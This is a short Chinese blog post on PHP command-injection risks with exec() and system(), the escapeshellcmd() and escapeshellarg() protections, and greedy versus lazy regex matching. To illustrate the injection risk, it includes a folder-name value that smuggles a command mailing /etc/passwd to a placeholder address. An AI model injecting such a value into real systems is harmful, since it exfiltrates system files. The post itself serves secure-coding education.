贪婪模式与惰性模式

来源:互联网 发布:广本悟己 淘宝 编辑:程序博客网 时间:2024/05/17 08:29

 1.了解下exec(),system(),backtick等系统函数的风险。

例如:项目允许用户创建一个属于自己的文件夹,如果用户输入这个命令,系统将会出现大风险。 ; mail example@email.com <  /etc/passwd ;  。 我们的代码就会这样执行:$ mkdir ; mail example@email.com < /etc/passwd ; 

 

2.保护系统调用的命令:escapeshellcmd()  和 escapeshellarg()

 

3.贪婪匹配与惰性匹配

由于+,*,以及{}都属于贪婪模式修饰符,它们会尽可能多的匹配。例如:$a = "<abc>def>";

$pattern = "/<.+>/"; 如果不调整为惰性匹配,则会匹配到abc>def . 如果我们将$pattern修改为惰性匹配及:$pattern = "/<.+?>/" ; 则只会匹配到abc。

转换为惰性匹配只要贪婪模式修饰符后面加上?即可。

原创粉丝点击